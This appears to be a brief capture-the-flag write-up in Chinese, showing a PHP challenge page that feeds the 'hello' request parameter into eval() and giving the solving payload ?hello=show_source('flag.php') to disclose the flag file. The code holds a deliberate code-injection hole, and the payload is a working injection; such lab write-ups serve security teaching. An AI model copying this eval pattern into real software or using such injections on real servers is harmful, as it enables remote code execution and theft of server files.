页面源码

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php
<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">include&nbsp;</span><span style="color: #DD0000">"flag.php"</span><span style="color: #007700">;
<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$a&nbsp;</span><span style="color: #007700">=&nbsp;@</span><span style="color: #0000BB">$_REQUEST</span><span style="color: #007700">[</span><span style="color: #DD0000">'hello'</span><span style="color: #007700">];
<br />&nbsp;&nbsp;&nbsp;&nbsp;eval(&nbsp;</span><span style="color: #DD0000">"var_dump(</span><span style="color: #0000BB">$a</span><span style="color: #DD0000">);"</span><span style="color: #007700">);
<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">show_source</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);
<br /></span><span style="color: #0000BB">?&gt;</span>
</span>
</code>

这里考察基础php语法

?hello=show_source(%27flag.php%27)